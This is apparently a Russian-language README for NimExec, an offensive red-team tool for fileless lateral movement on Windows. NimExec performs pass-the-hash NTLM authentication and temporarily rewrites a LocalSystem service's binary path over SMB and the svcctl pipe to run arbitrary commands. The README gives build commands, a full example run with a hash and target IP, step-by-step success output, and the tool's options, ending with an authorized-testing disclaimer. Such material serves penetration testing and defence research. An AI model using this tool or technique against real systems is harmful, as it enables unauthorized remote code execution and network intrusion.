
Безфайловое выполнение команд для бокового перемещения на Nim
В основном, NimExec — это инструмент для удаленного выполнения команд без использования файлов, который использует протокол удаленного управления службами (MS-SCMR). Он изменяет путь к двоичному файлу случайной или указанной службы, запущенной от имени LocalSystem, для выполнения заданной команды на целевой системе и восстанавливает его позже с помощью специально сформированных RPC-пакетов вместо вызовов WinAPI. Эти пакеты отправляются через SMB2 и именованный канал svcctl.
NimExec требует NTLM-хэш для аутентификации на целевой машине, а затем завершает этот процесс аутентификации с помощью метода NTLM Authentication через специально сформированные пакеты.
Поскольку все необходимые сетевые пакеты создаются вручную и не используются функции, специфичные для операционной системы, NimExec может использоваться в различных операционных системах благодаря поддержке кросскомпиляции в Nim.
Этот проект вдохновлен инструментом SharpNoPSExec Джулио. Можно считать, что NimExec — это кросскомпилируемая версия SharpNoPSExec со встроенной поддержкой Pass the Hash. Кроме того, я изучил необходимые структуры сетевых пакетов из скрипта Invoke-SMBExec Кевина Робертсона.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
Указанная выше команда использует другой сборщик мусора, потому что стандартный сборщик мусора в Nim вызывает некоторые ошибки SIGSEGV в процессе поиска служб.
Также вы можете установить необходимые модули Nim с помощью Nimble следующей командой:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
Протестировано на Windows 10 и 11, Windows Server 2016, 2019 и 2022 с Ubuntu 20.04 и машинами Windows 10.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.**
-p | --password <Password> Plaintext password.**
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
Только для авторизованного тестирования безопасности. Неправомерное использование этого инструмента против систем без явного разрешения является незаконным.